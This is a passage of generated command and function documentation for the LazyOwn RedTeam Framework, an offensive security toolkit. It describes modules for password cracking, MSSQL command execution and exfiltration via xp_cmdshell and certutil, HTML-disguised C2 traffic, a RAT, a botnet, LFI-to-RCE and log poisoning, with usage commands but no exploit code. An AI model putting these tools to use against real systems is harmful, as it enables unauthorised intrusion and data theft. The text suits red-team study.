Detects the delimiter used in the input string (e.g., "-", "_", ".").

Parameters: foo_bar (str): The input string.

Returns: str: The detected delimiter.

transform

Transforms a list of string parts based on the chosen casing style.

Parameters: parts (list): List of string parts. delimiter (str): Delimiter to use between parts. casing (str): Casing style ('l', 'u', 'c', 'p').

Returns: str: The transformed string.

handle

Splits the input string into parts based on delimiters or mixed casing.

Parameters: input_str (str): The input string to split.

Returns: list: A list of string parts.

get_users_dic

List all .txt files in the 'sessions/' directory and prompt the user to select one by number.

:returns: The path of the selected .txt file.

get_hash

Searches for hash files with the pattern 'hash*.txt' and allows the user to select one.

The function lists all matching files and prompts the user to select one. It then reads the selected file and returns the hash content as a single string, without any newline characters or extra formatting.

Returns: str: The hash content from the selected file as a single string. If no files are found or an invalid selection is made, an empty string is returned.

is_digit

Check if the given character is a digit.

Args: the_digit (str): The character to check.

Returns: bool: True if the character is a digit, False otherwise.

crack_password

Crack a Cisco Type 7 password.

Args: crypttext (str): The encrypted password in Type 7 format.

Returns: str: The cracked plaintext password or an empty string if invalid.

get_terminal_size

No description available.

halp

Display the help panel for the LazyOwn RedTeam Framework.

This function prints usage instructions, options, and descriptions for running the LazyOwn framework. It provides users with an overview of command-line options that can be used when executing the ./run command.

The output includes the current version of the framework and various options available for users, along with a brief description of each option.

Options include: - --help: Displays the help panel. - -v: Shows the version of the framework. - -p <payloadN.json>: Executes the framework with a specified payload JSON file. This option is particularly useful for Red Teams. - -c <command>: Executes a specific command using LazyOwn, for example, ping. - --no-banner: Runs the framework without displaying the banner. - -s: Runs the framework with root privileges. - --old-banner: Displays the old banner.

Example: To see the help panel, call the function as follows:

>>> halp()

Note: - This function exits the program after displaying the help information, using sys.exit(0).

ensure_tmux_session

Ensure that a tmux session is active.

This function checks whether a specified tmux session is currently running. If the session does not exist, it creates a new tmux session with the specified name and executes the command to run the LazyOwn RedTeam Framework script.

The function uses the tmux has-session command to check for the existence of the session. If the session is not found (i.e., the return code is not zero), it will create a new tmux session in detached mode and run the command ./run --no-banner within that session.

Args: session_name (str): The name of the tmux session to check or create.

Example: To ensure that a tmux session named 'lazyown_sessions' is active, call the function as follows:

>>> ensure_tmux_session('lazyown_sessions')

Note: - Ensure that tmux is installed and properly configured on the system. - The command executed within the tmux session must be valid and accessible in the current environment.

get_xml

Retrieves a list of XML files from the specified directory.

Args: directory (str): The directory to search for XML files.

Returns: list: A list of XML filenames found in the specified directory.

get_domain_from_xml

Extrae el primer dominio o dirección IP de un archivo XML de un escaneo Nmap.

shellcode_to_sylk

No description available.

get_banner

No description available.

list_binaries

List all executable binaries in the specified directory.

Parameters: directory (str): The directory to search for binaries. Defaults to 'sessions'.

Returns: list: A list of paths to executable binaries.

select_binary

Prompt the user to select a binary from a list.

Parameters: binaries (list): A list of binary paths.

Returns: str: The path of the selected binary.

decode

Decodes base64 data received from the server output.

Parameters: data (str): Encoded base64 data from the server.

Returns: str: Decoded string output, or an error message if decoding fails.

get_command

Reads a command from standard input and initiates a thread to send the command to the target server.

send_command

Constructs and sends an SQL payload with xp_cmdshell and certutil for command execution and exfiltration.

Parameters: cmd (str): Command to be executed on the remote MSSQL server.

activate_server

Activates the HTTP server and fetches the first command from the user.

Parameters: httpd (HTTPServer): The server instance to activate.

Spray

No description available.

ProcessResults

No description available.

generate_index

Generates an APT repository structure and index files for proper compatibility.

Parameters: repo_dir (str): Path to the repository directory.

Returns: None

replace_variables

Replace variables in a command string with their corresponding values.

This function takes a command string and a dictionary of variables and their values. It replaces each occurrence of a variable in the command string with its corresponding value.

Args: command (str): The command string containing variables to be replaced. variables (dict): A dictionary where the keys are the variables to be replaced and the values are the corresponding values to replace them with.

Returns: str: The command string with all variables replaced by their corresponding values.

create_caldera_config

Creates a Caldera configuration file with the specified content at the given file path.

Parameters: file_path (str): The path where the configuration file will be created.

Returns: None

extract_banners

Extract banner information from an XML file.

This function parses an XML file and extracts banner information for each host and port. The banner information includes the hostname, port, protocol, extra details, and service.

Args: xml_file (str): The path to the XML file to be parsed.

Returns: list: A list of dictionaries, where each dictionary contains banner information for a specific host and port. Each dictionary has the following keys: - hostname (str): The hostname of the host. - port (str): The port number. - protocol (str): The protocol used (e.g., tcp, udp). - banner (str): Extra information about the service. - service (str): The name of the service running on the port.

Example: banners = extract_banners('path/to/file.xml')

generate_xor_key

Generate key XOR long specifyed

:param length: Lenght of XOR key :return: Key XOR in hex.

scrape_news

Realiza una solicitud a la página de noticias de Hacker News y extrae los títulos, enlaces y puntuaciones de las noticias.

Returns: tuple: Tres listas conteniendo los títulos, enlaces y puntuaciones de las noticias respectivamente.

display_news

Crea un DataFrame de pandas y lo imprime, mostrando los títulos, enlaces y puntuaciones de las noticias.

Args: titles (list): Lista de títulos de las noticias. links (list): Lista de enlaces de las noticias. scores (list): Lista de puntuaciones de las noticias.

htmlify

Wrap C2 comms in html and html2 code to make requests look more legitimate

de_htmlify

Cleant wrap C2 comms of html and html2 code to get the command from request

is_port_in_use

No description available.

return_creds

No description available.

query_arin_ip

Queries ARIN whois API for organization information of an IP address.

Args: ip: The IP address to query.

Returns: A dictionary containing IP information or None on failure.

get_org

Extracts organization name from ARIN whois response data.

Args: data: The JSON data from the ARIN whois API response.

Returns: The organization name or "null" if not found.

load_adversary

No description available.

replace_placeholders

Replace placeholders in a template string with values from a dictionary.

Parameters: template (str): The template string containing placeholders. replacements (dict): A dictionary where keys are placeholders and values are replacements.

Returns: str: The template string with placeholders replaced.

replace_command_placeholders

Replace placeholders in a command string with values from a params dictionary, handling spaces within placeholders.

The function looks for placeholders in curly braces (e.g., {url} or { url }) within the command string and replaces them with corresponding values from the params dictionary, ignoring any spaces inside the curly braces.

Args: command (str): The command string containing placeholders. params (dict): A dictionary containing key-value pairs for replacement.

Returns: str: The command string with placeholders replaced by their corresponding values.

parse_nmap_csv

No description available.

query_ollama

Envía consulta a Ollama y retorna respuesta del modelo

preprocess_llm_response

Pre-process LLM response to handle common issues before YAML parsing

manual_yaml_extraction

Fallback method to manually extract YAML data from malformed content

create_synthetic_yaml

Create a basic synthetic YAML playbook when all else fails

parse_yaml_response

Improved function to extract and parse YAML content from LLM response with better error handling and recovery attempts

fix_common_yaml_issues

Fixes common YAML formatting issues

aggressive_yaml_fix

More aggressive YAML fixing for recovery attempts

save_playbook

Guarda el playbook generado en disco

load_knowledge_base

Carga la base de conocimientos personalizada.

anti_debug

No description available.

create_msfshellcoder_parser

No description available.

load_user_aliases

Carga los aliases del archivo JSON si existe.

AESencrypt

No description available.

dropFile

No description available.

wrapper

internal wrapper of internal function to implement multiples rhost to operate.

send_request

No description available.

handle_forms

No description available.

replace_match

No description available.

log_request

No description available.

log_message

No description available.

GET

No description available.

init

No description available.

open_file

Open and parse the IP-to-ASN file.

open_reader

Parse the reader stream, handling both regular and gzipped files.

_parse_file

Parse the TSV data and load it into memory.

as_of_ip

Return the ASN associated with the given IP address.

_rec_index_has_ip

Check if the given index contains the IP.

as_name

Get the AS name by ASN.

as_country

Get the country by ASN.

init

Inicializa el escáner con las cabeceras HTTP predefinidas.

search_cves

Busca CVEs basados en un servicio específico.

Args: service (str): El servicio para buscar vulnerabilidades relacionadas.

Returns: list: Lista de diccionarios con información sobre cada CVE o mensaje de error.

search_cve_details

Añade detalles adicionales a la información del CVE.

Args: cve_info (dict): Información básica del CVE incluyendo id y descripción.

pretty_print

Imprime una tabla bonita con detalles de CVEs.

Args: cves_details (list): Lista de CVEs con toda la información recopilada.

COMMANDS.md Documentation by readmeneitor.py

main

No description available.

init

Initializer for the LazyOwnShell class.

This method sets up the initial parameters and scripts for an instance of the LazyOwnShell class. It initializes a dictionary of parameters with default values and a list of script names that are part of the LazyOwnShell toolkit.

Attributes: params (dict): A dictionary of parameters with their default values. scripts (list): A list of script names included in the toolkit. output (str): An empty string to store output or results.

log_command

Logs the command execution details to a CSV file.

:param cmd_name: The name of the command. :param cmd_args: The arguments of the command.

default

Handles undefined commands, including aliases.

This method checks if a given command (or its alias) exists within the class by attempting to find a corresponding method. If the command or alias is not found, it prints an error message.

:param line: The command or alias to be handled. :type line: str :return: None

logcsv

No description available.

cmd

Internal function to execute commands.

This method attempts to execute a given command using os.system and captures the output. It sets the output attribute based on whether the command was executed successfully or an exception occurred. And feedback the red operation report.

:param command: The command to be executed. :type command: str :return: None. :rtype: str

onecmd_plus_hooks

Intercepta comandos para expandir placeholders en aliases. Maneja tanto strings como objetos Statement.

one_cmd

Internal function to execute commands.

This method attempts to execute a given command using onecmd and captures the output. It sets the output attribute based on whether the command was executed successfully or an exception occurred.

:param command: The command to be executed. :type command: str :return: A message indicating the result of the command execution. :rtype: str

emptyline

Handle the case where the user enters an empty line.

This method is called when the user submits an empty line of input in the command-line interface. By default, it provides feedback indicating that no command was entered.

It is useful for providing user-friendly messages or handling empty input cases in a custom manner.

License: This function is part of a program released under the GNU General Public License v3.0 (GPLv3). You can redistribute it and/or modify it under the terms of the GPLv3, as published by the Free Software Foundation.

Note: This method is called by the cmd library when an empty line is entered. You can override it in a subclass to change its behavior.

Example: >>> shell = LazyOwnShell() >>> shell.emptyline() You didn't enter any command.

load_user_commands

Carga los comandos personalizados desde user_commands.json

save_user_command

Guarda un nuevo comando en user_commands.json

list_files_in_directory

Lista todos los archivos en un directorio dado.

register_tool_commands

Registra automáticamente todos los comandos .tool en la carpeta 'tools/' Usa self.params para reemplazar {ip}, {port}, {domain}, {s}, etc.

_register_lua_command

Registra un comando nuevo desde Lua.

load_plugins

Carga todos los plugins Lua desde el directorio 'plugins/'.

load_yaml_plugins

Loads all YAML plugins from the 'lazyaddons/' directory.

This method scans the 'lazyaddons/' directory, reads each YAML file, and registers enabled plugins as new commands.

register_yaml_plugin

Registers a YAML plugin as a new command.

This method creates a dynamic command based on the plugin's configuration and assigns it to the application.

register_all_adversary_commands

No description available.

_register_adversary_command

No description available.

display_toastr

Display a toastr-like notification in the terminal with adaptive sizing.

_wrap_text

Helper method to wrap text to fit within specified width.

notify

Command to trigger a toastr-like notification. Usage: notify Example: notify success Implant checked in!

EOF

Handle the end-of-file (EOF) condition.

This method is called when the user sends an end-of-file (EOF) signal by pressing Ctrl+D. It is typically used to handle cleanup or exit operations when the user terminates input.

In this implementation, it prints a farewell message and returns True to indicate that the shell should exit.

License: This function is part of a program released under the GNU General Public License v3.0 (GPLv3). You can redistribute it and/or modify it under the terms of the GPLv3, as published by the Free Software Foundation.

Note: This method is a part of the cmd library's command handling system. You can override it in a subclass to customize its behavior.

Example: >>> shell = LazyOwnShell() >>> shell.do_EOF(None) LazyOwn say Goodbye! (shell exits)

postloop

Handle operations to perform after exiting the command loop.

This method is called after the command loop terminates, typically used for performing any final cleanup or displaying messages before the program exits.

In this implementation, it prints a message indicating that the custom shell is exiting.

License: This function is part of a program released under the GNU General Public License v3.0 (GPLv3). You can redistribute it and/or modify it under the terms of the GPLv3, as published by the Free Software Foundation.

Note: This method is called automatically by the cmd library's command loop after the loop terminates. You can override it in a subclass to customize its behavior.

Example: >>> shell = LazyOwnShell() >>> shell.cmdloop() # Exits the command loop GoodBye LazyOwner

assign

assign a parameter value, persist to payload.json and refresh aliases.

The mutation is delegated to :func:cli.assign.apply_assign which writes payload.json atomically through :func:core.config.save_payload when the parameter is known. After a successful update, aliases are re-rendered so commands like backdoor or coerce_plus immediately reflect the new value without a shell restart.

:param line: ' '. :type line: str :return: None

complete_assign

Tab-complete the parameter name from the live payload keys.

Driven entirely by self.params so the framework never has to maintain a parallel list of completion targets — adding a new key to payload.json makes it tab-completable for free.

show

Show the current parameter values, sorted and aligned.

Rendering is delegated to :func:cli.show.format_payload so the same formatter can be reused by reports, the dashboard or shift-handoff artefacts.

palette

Browse the operator command catalogue grouped by kill-chain phase.

The data source is :file:cli/command_index.json, generated by scripts/build_command_index.py. Rendering is delegated to :func:cli.palette_command.render so the same logic powers the C2 /palette endpoint and the MCP lazyown_palette tool.

Usage: palette overview of every phase palette <phase> list commands in a phase palette <phase> <query> filter that listing palette --search <query> fuzzy search across all phases palette --info <name> full detail for a single command

complete_palette

Tab-complete the palette command using the live command index.

Position 1 yields phase identifiers and the --search / --info verbs; position 2 yields phase-scoped command names (or every name when the first token is --info). Driven entirely by :class:cli.palette_command.PaletteCompleter so the framework never has to maintain a parallel completion list — regenerating the index is enough.

list

Lists all available scripts in the modules directory.

This method prints a list of available scripts in a formatted manner, arranging them into columns. It shows each script with sufficient spacing for readability.

:param line: This parameter is not used in the method. :type line: str :return: None

run

Runs a specific LazyOwn script.

This method executes a script from the LazyOwn toolkit based on the provided script name. If the script is not recognized, it prints an error message. To see available scripts, use the list or help list commands.

:param line: The command line input containing the script name. :type line: str :return: None

lazysearch

Runs the internal module modules/lazysearch.py.

This method executes the lazysearch script from the specified path, using the binary_name parameter from the self.params dictionary. If binary_name is not set, it prints an error message.

:return: None

lazysearch_gui

Run the internal module located at modules/LazyOwnExplorer.py.

This method executes the LazyOwnExplorer.py script, which is used for graphical user interface (GUI) functionality within the LazyOwn framework.

The function performs the following steps:

1. Calls self.run_script with LazyOwnExplorer.py to execute the GUI module.

:returns: None

Manual execution:

1. Ensure that the modules/LazyOwnExplorer.py script is present in the modules directory.
2. Run the script with: python3 modules/LazyOwnExplorer.py

Example: To run LazyOwnExplorer.py directly, execute: python3 modules/LazyOwnExplorer.py

Note: - Ensure that the script has the appropriate permissions and dependencies to run. - Verify that your environment supports GUI operations if using this script in a non-graphical environment.

lazyown

Run the internal module located at modules/lazyown.py.

This method executes the lazyown.py script, which is a core component of the LazyOwn framework.

The function performs the following steps:

1. Calls self.run_script with lazyown.py to execute the script.

:returns: None

Manual execution:

1. Ensure that the modules/lazyown.py script is present in the modules directory.
2. Run the script with: python3 modules/lazyown.py

Example: To run lazyown.py directly, execute: python3 modules/lazyown.py

Note: - Ensure that the script has the appropriate permissions and dependencies to run.

update_db

Run the internal module located at modules/update_db.sh.

This method executes the update_db.sh script to update the database of binary exploitables from gtofbins.

The function performs the following steps:

1. Executes the update_db.sh script located in the modules directory using os.system.

:returns: None

Manual execution:

1. Ensure that the modules/update_db.sh script is present in the modules directory.
2. Run the script with: ./modules/update_db.sh

Example: To manually update the database, execute: ./modules/update_db.sh

Note: - Ensure that the script has execute permissions. - The script should be run with the necessary privileges if required.

lazynmap

Runs the internal module modules/lazynmap.sh for multiple Nmap scans.

OS detection (via ping TTL) is performed automatically before scanning when the target OS is not yet known. This ensures the correct tool chain is selected for subsequent enumeration: SMB/Kerberos/AD for Windows, SSH/web for Linux/Unix.

This method executes the lazynmap script, using the current working directory and the rhost parameter from the self.params dictionary as the target IP. If rhost is not set, it prints an error message.

:return: None

batchnmap

Runs the internal module modules/lazynmap.sh for multiple Nmap scans.

This method executes the lazynmap script, using the current working directory and the rhost parameter from the self.params dictionary as the target IP. If rhost is not set, it prints an error message.

:return: None

lazywerkzeugdebug

Run the internal module located at modules/lazywerkzeug.py in debug mode.

This method executes the lazywerkzeug.py script with the specified parameters for remote and local hosts and ports. It is used to test Werkzeug in debug mode.

The function performs the following steps:

1. Retrieves the rhost, lhost, rport, and lport values from self.params.
2. Checks if all required parameters are set. If not, prints an error message and returns.
3. Calls self.run_script with lazywerkzeug.py and the specified parameters.

:param rhost: The remote host address. :type rhost: str

:param lhost: The local host address. :type lhost: str

:param rport: The remote port number. :type rport: int

:param lport: The local port number. :type lport: int

:returns: None

Manual execution:

1. Ensure that rhost, lhost, rport, and lport are assign in self.params.
2. The script modules/lazywerkzeug.py should be present in the modules directory.
3. Run the script with: python3 modules/lazywerkzeug.py <rhost> <rport> <lhost> <lport>

Example: To run lazywerkzeug.py with rhost assign to "127.0.0.1", rport to 5000, lhost to "localhost", and lport to 8000, set: self.params["rhost"] = "127.0.0.1" self.params["rport"] = 5000 self.params["lhost"] = "localhost" self.params["lport"] = 8000 Then call: run_lazywerkzeugdebug()

Note: - Ensure that modules/lazywerkzeug.py has the appropriate permissions and dependencies to run. - Verify that the specified hosts and ports are correct and available.

lazygath

Run the internal module located at modules/lazygat.sh. to gathering the sistem :)

This method executes the lazygat.sh script located in the modules directory with sudo privileges.

The function performs the following steps:

1. Retrieves the current working directory.
2. Executes the lazygat.sh script using sudo to ensure it runs with elevated permissions.

:returns: None

Manual execution:

1. Ensure that the modules/lazygat.sh script is present in the modules directory.
2. Run the script with: sudo ./modules/lazygat.sh

Example: To manually run the script with elevated privileges, execute: sudo ./modules/lazygat.sh

Note: - Ensure that the script has execute permissions. - The script should be run with sudo if it requires elevated privileges.

lazynmapdiscovery

Runs the internal module modules/lazynmap.sh with discovery mode.

This method executes the lazynmap script in discovery mode. It uses the current working directory for locating the script.

:return: None

lazynmap

Runs the internal module modules/lazynmap.sh with target mode.

OS detection (via ping TTL) is performed automatically before scanning when the target OS is not yet known, so that tool selectors downstream have a valid platform context.

:param line: The network IP to scan. Defaults to rhost from params. :type line: str

:return: None

lazysniff

Run the sniffer internal module located at modules/lazysniff.py with the specified parameters.

This method executes the script with the following arguments:

• device: The network interface to be used for sniffing, specified in self.params.

The function performs the following steps:

1. Retrieves the device value from self.params.
2. Sets up the environment variables LANG and TERM to ensure proper script execution.
3. Uses subprocess.run to execute the lazysniff.py script with the -i option to specify the network interface.

:param device: The network interface to be used for sniffing. :type device: str

:returns: None

Manual execution:

1. Ensure that device is assign in self.params.
2. The script modules/lazysniff.py should be present in the modules directory.
3. Run the script with: python3 modules/lazysniff.py -i <device>

Example: To run lazysniff with device assign to "eth0", set: self.params["device"] = "eth0" Then call: run_lazysniff()

Note: - Ensure that modules/lazysniff.py has the appropriate permissions and dependencies to run. - Ensure that the network interface specified is valid and properly configured.

lazyftpsniff

Run the sniffer ftp internal module located at modules/lazyftpsniff.py with the specified parameters.

This function executes the script with the following arguments:

• device: The network interface to be used for sniffing, specified in self.params.

The function performs the following steps:

1. Retrieves the device value from self.params.
2. Sets up the environment variables LANG and TERM to ensure proper script execution.
3. Uses subprocess.run to execute the lazyftpsniff.py script with the -i option to specify the network interface.

:param device: The network interface to be used for sniffing. :type device: str

:returns: None

Manual execution:

1. Ensure that device is assign in self.params.
2. The script modules/lazyftpsniff.py should be present in the modules directory.
3. Run the script with: python3 modules/lazyftpsniff.py -i <device>

Example: To run lazyftpsniff with device assign to "eth0", set: self.params["device"] = "eth0" Then call: run_lazyftpsniff()

Note: - Ensure that modules/lazyftpsniff.py has the appropriate permissions and dependencies to run. - Ensure that the network interface specified is valid and properly configured.

lazynetbios

Run the internal module to search netbios vuln victims, located at modules/lazynetbios.py with the specified parameters.

This function executes the script with the following arguments:

• startip: The starting IP address for the NetBIOS scan, specified in self.params.
• endip: The ending IP address for the NetBIOS scan, specified in self.params.
• spoof_ip: The IP address to be used for spoofing, specified in self.params.

The function performs the following steps:

1. Retrieves the startip, endip, and spoof_ip values from self.params.
2. Uses subprocess.run to execute the lazynetbios.py script with the specified parameters.

:param startip: The starting IP address for the NetBIOS scan. :type startip: str

:param endip: The ending IP address for the NetBIOS scan. :type endip: str

:param spoof_ip: The IP address to be used for spoofing. :type spoof_ip: str

:returns: None

Manual execution:

1. Ensure that startip, endip, and spoof_ip are assign in self.params.
2. The script modules/lazynetbios.py should be present in the modules directory.
3. Run the script with: python3 modules/lazynetbios.py <startip> <endip> <spoof_ip>

Example: To run lazynetbios with startip assign to "192.168.1.1", endip assign to "192.168.1.10", and spoof_ip assign to "192.168.1.100", assign: self.params["startip"] = "192.168.1.1" self.params["endip"] = "192.168.1.10" self.params["spoof_ip"] = "192.168.1.100" Then call: run_lazynetbios()

Note: - Ensure that modules/lazynetbios.py has the appropriate permissions and dependencies to run. - Ensure that the IP addresses are correctly set and valid for the NetBIOS scan.

lazyhoneypot

Run the internal module located at modules/lazyhoneypot.py with the specified parameters.

This function executes the script with the following arguments:

• email_from: The email address from which messages will be sent, specified in self.params.
• email_to: The recipient email address, specified in self.params.
• email_username: The username for email authentication, specified in self.params.
• email_password: The password for email authentication, specified in self.params.

The function performs the following steps:

1. Retrieves the email_from, email_to, email_username, and email_password values from self.params.
2. Calls the run_script method to execute the lazyhoneypot.py script with the provided email parameters.

:param email_from: The email address from which messages will be sent. :type email_from: str

:param email_to: The recipient email address. :type email_to: str

:param email_username: The username for email authentication. :type email_username: str

:param email_password: The password for email authentication. :type email_password: str

:returns: None

Manual execution:

1. Ensure that email_from, email_to, email_username, and email_password are assign in self.params.
2. The script modules/lazyhoneypot.py should be present in the modules directory.
3. Run the script with: python3 modules/lazyhoneypot.py --email_from <email_from> --email_to <email_to> --email_username <email_username> --email_password <email_password>

Example: To run lazyhoneypot with email_from assign to "sender@example.com", email_to assign to "recipient@example.com", email_username assign to "user", and email_password assign to "pass", set: self.params["email_from"] = "sender@example.com" self.params["email_to"] = "recipient@example.com" self.params["email_username"] = "user" self.params["email_password"] = "pass" Then call: run_lazyhoneypot()

Note: - Ensure that modules/lazyhoneypot.py has the appropriate permissions and dependencies to run. - Ensure that the email credentials are correctly set for successful authentication and operation.

gpt

Run the internal module to create Oneliners with Groq AI located at modules/lazygptcli.py with the specified parameters.

This function executes the script with the following arguments:

• prompt: The prompt to be used by the script, specified in self.params.
• api_key: The API key to be assign in the environment variable GROQ_API_KEY, specified in self.params.

The function performs the following steps:

1. Retrieves the prompt and api_key values from self.params.
2. Checks if both prompt and api_key are assign. If either is missing, it prints an error message and returns.
3. Sets the environment variable GROQ_API_KEY with the provided api_key.
4. Calls the run_script method to execute the lazygptcli.py script with the --prompt argument.

:param prompt: The prompt to be used by the script. :type prompt: str

:param api_key: The API key for accessing the service. :type api_key: str

:returns: None

Manual execution:

1. Ensure that prompt and api_key are assign in self.params.
2. The script modules/lazygptcli.py should be present in the modules directory.
3. assign the environment variable GROQ_API_KEY with the API key value.
4. Run the script with: python3 modules/lazygptcli.py --prompt <prompt>

Example: To run lazygptcli with prompt assign to "Your prompt" and api_key assign to "your_api_key", set: self.params["prompt"] = "Your prompt" self.params["api_key"] = "your_api_key" Then call: run_lazygptcli()

Note: - Ensure that modules/lazygptcli.py has the appropriate permissions and dependencies to run. - The environment variable GROQ_API_KEY must be correctly assign for the script to function.

lazysearch_bot

Run the internal module GROQ AI located at modules/lazysearch_bot.py with the specified parameters.

This function executes the script with the following arguments:

• prompt: The prompt to be used by the script, specified in self.params.
• api_key: The API key to be assign in the environment variable GROQ_API_KEY, specified in self.params.

The function performs the following steps:

1. Retrieves the prompt and api_key values from self.params.
2. Checks if both prompt and api_key are assign. If either is missing, it prints an error message and returns.
3. Sets the environment variable GROQ_API_KEY with the provided api_key.
4. Calls the run_script method to execute the lazysearch_bot.py script with the --prompt argument.

:param prompt: The prompt to be used by the script. :type prompt: str

:param api_key: The API key for accessing the service. :type api_key: str

:returns: None

Manual execution:

1. Ensure that prompt and api_key are assign in self.params.
2. The script modules/lazysearch_bot.py should be present in the modules directory.
3. Set the environment variable GROQ_API_KEY with the API key value.
4. Run the script with: python3 modules/lazysearch_bot.py --prompt <prompt>

Example: To run lazysearch_bot with prompt assign to "Search query" and api_key assign to "your_api_key", assign: self.params["prompt"] = "Search query" self.params["api_key"] = "your_api_key" Then call: run_lazysearch_bot()

Note: - Ensure that modules/lazysearch_bot.py has the appropriate permissions and dependencies to run. - The environment variable GROQ_API_KEY must be correctly assign for the script to function.

lazymetaextract0r

Run the Metadata extractor internal module located at modules/lazyown_metaextract0r.py with the specified parameters.

This function executes the script with the following arguments:

• path: The file path to be processed by the script, specified in self.params.

The function performs the following steps:

1. Retrieves the value for path from self.params.
2. Checks if the path parameter is assign. If not, it prints an error message and returns.
3. Calls the run_script method to execute the lazyown_metaextract0r.py script with the appropriate argument.

:param path: The file path to be processed by the script. :type path: str

:returns: None

Manual execution:

1. Ensure that path is assign in self.params.
2. The script modules/lazyown_metaextract0r.py should be present in the modules directory.
3. Run the script with: python3 modules/lazyown_metaextract0r.py --path <path>

Example: To run lazyown_metaextract0r with path assign to /home/user/file.txt, set: self.params["path"] = "/home/user/file.txt" Then call: run_lazymetaextract0r()

Note: - Ensure that modules/lazyown_metaextract0r.py has the appropriate permissions and dependencies to run.

lazyownratcli

Run the internal module located at modules/lazyownclient.py with the specified parameters.

This function executes the script with the following arguments:

• lhost: The IP address of the local host, specified in self.params.
• lport: The port number of the local host, specified in self.params.
• rat_key: The RAT key, specified in self.params.

The function performs the following steps:

1. Retrieves the values for lhost, lport, and rat_key from self.params.
2. Checks if all required parameters (lhost, lport, and rat_key) are set. If any are missing, it prints an error message and returns.
3. Calls the run_script method to execute the lazyownclient.py script with the appropriate arguments.

:param lhost: The IP address of the local host. :type lhost: str :param lport: The port number of the local host. :type lport: int :param rat_key: The RAT key. :type rat_key: str

:returns: None

Manual execution:

1. Ensure that lhost, lport, and rat_key are assign in self.params.
2. The script modules/lazyownclient.py should be present in the modules directory.
3. Run the script with: python3 modules/lazyownclient.py --host <lhost> --port <lport> --key <rat_key>

Example: To run lazyownclient with lhost assign to 192.168.1.10, lport assign to 8080, and rat_key assign to my_secret_key, set: self.params["lhost"] = "192.168.1.10" self.params["lport"] = 8080 self.params["rat_key"] = "my_secret_key" Then call: run_lazyownratcli()

Note: - Ensure that modules/lazyownclient.py has the appropriate permissions and dependencies to run.

lazyownrat

Run the internal module located at modules/lazyownserver.py with the specified parameters.

This function executes the script with the following arguments:

• rhost: The IP address of the remote host, specified in self.params.
• rport: The port number of the remote host, specified in self.params.
• rat_key: The RAT key, specified in self.params.

The function performs the following steps:

1. Retrieves the values for rhost, rport, and rat_key from self.params.
2. Checks if all required parameters (rhost, rport, and rat_key) are set. If any are missing, it prints an error message and returns.
3. Calls the run_script method to execute the lazyownserver.py script with the appropriate arguments.

:param rhost: The IP address of the remote host. :type rhost: str :param rport: The port number of the remote host. :type rport: int :param rat_key: The RAT key. :type rat_key: str

:returns: None

Manual execution:

1. Ensure that rhost, rport, and rat_key are assign in self.params.
2. The script modules/lazyownserver.py should be present in the modules directory.
3. Run the script with: python3 modules/lazyownserver.py --host <rhost> --port <rport> --key <rat_key>

Example: To run lazyownserver with rhost set to 192.168.1.10, rport assign to 8080, and rat_key assign to my_secret_key, set: self.params["rhost"] = "192.168.1.10" self.params["rport"] = 8080 self.params["rat_key"] = "my_secret_key" Then call: run_lazyownrat()

Note: - Ensure that modules/lazyownserver.py has the appropriate permissions and dependencies to run.

lazybotnet

Run the internal module located at modules/lazybotnet.py with the specified parameters.

This function executes the script with the following arguments:

• rhost: The IP address of the remote host, hardcoded to "0.0.0.0".
• rport: The port number of the remote host, specified in self.params.
• rat_key: The RAT key, specified in self.params.

The function performs the following steps:

1. Retrieves the values for rport and rat_key from self.params. The rhost is hardcoded to "0.0.0.0".
2. Checks if all required parameters (rport and rat_key) are set. If any are missing, it prints an error message and returns.
3. Calls the run_script method to execute the lazybotnet.py script with the appropriate arguments.

:param rport: The port number of the remote host. :type rport: int :param rat_key: The RAT key. :type rat_key: str

:returns: None

Manual execution:

1. Ensure that rport and rat_key are assign in self.params.
2. The script modules/lazybotnet.py should be present in the modules directory.
3. Run the script with: python3 modules/lazybotnet.py --host <rhost> --port <rport> --key <rat_key>

Example: To run lazybotnet with rport assign to 1234 and rat_key assign to my_key, assign: self.params["rport"] = 1234 self.params["rat_key"] = "my_key" Then call: run_lazybotnet()

Note: - Ensure that modules/lazybotnet.py has the appropriate permissions and dependencies to run.

lazylfi2rce

Run the internal module located at modules/lazylfi2rce.py with the specified parameters.

This function executes the script with the following arguments:

• rhost: The IP address of the remote host, specified in self.params.
• rport: The port number of the remote host, specified in self.params.
• lhost: The IP address of the local host, specified in self.params.
• lport: The port number of the local host, specified in self.params.
• field: The field name for the LFI (Local File Inclusion) attack, specified in self.params.
• wordlist: The path to the wordlist file used for the attack, specified in self.params.

The function performs the following steps:

1. Retrieves the values for rhost, rport, lhost, lport, field, and wordlist from self.params.
2. Checks if all required parameters are set. If any are missing, it prints an error message and returns.
3. Calls the run_script method to execute the lazylfi2rce.py script with the appropriate arguments.

:param rhost: The IP address of the remote host. :type rhost: str :param rport: The port number of the remote host. :type rport: int :param lhost: The IP address of the local host. :type lhost: str :param lport: The port number of the local host. :type lport: int :param field: The field name for the LFI attack. :type field: str :param wordlist: The path to the wordlist file. :type wordlist: str

:returns: None

Manual execution:

1. Ensure that rhost, rport, lhost, lport, field, and wordlist are assign in self.params.
2. The script modules/lazylfi2rce.py should be present in the modules directory.
3. Run the script with: python3 modules/lazylfi2rce.py --rhost <rhost> --rport <rport> --lhost <lhost> --lport <lport> --field <field> --wordlist <wordlist>

Example: To run the lazylfi2rce with rhost assign to 192.168.1.1, rport assign to 80, lhost assign to 192.168.1.2, lport assign to 8080, field assign to file, and wordlist assign to path/to/wordlist.txt, set: self.params["rhost"] = "192.168.1.1" self.params["rport"] = 80 self.params["lhost"] = "192.168.1.2" self.params["lport"] = 8080 self.params["field"] = "file" self.params["wordlist"] = "path/to/wordlist.txt" Then call: run_lazylfi2rce()

Note: - Ensure that modules/lazylfi2rce.py has the appropriate permissions and dependencies to run.

lazylogpoisoning

Run the internal module located at modules/lazylogpoisoning.py with the specified parameters.

This function executes the script with the following arguments:

• rhost: The IP address of the remote host, specified in self.params.
• lhost: The IP address of the local host, specified in self.params.

The function performs the following steps:

1. Retrieves the values for rhost and lhost from self.params.
2. Checks if the required parameters rhost and lhost are assign. If not, it prints an error message and returns.
3. Calls the run_script method to execute the lazylogpoisoning.py script with the appropriate arguments.

:param rhost: The IP address of the remote host. Must be assign in self.params. :type rhost: str :param lhost: The IP address of the local host. Must be assign in self.params. :type lhost: str

:returns: None

Manual execution:

1. Ensure that rhost and lhost are assign in self.params.
2. The script modules/lazylogpoisoning.py should be present in the modules directory.
3. Run the script with: python3 modules/lazylogpoisoning.py --rhost <rhost> --lhost <lhost>

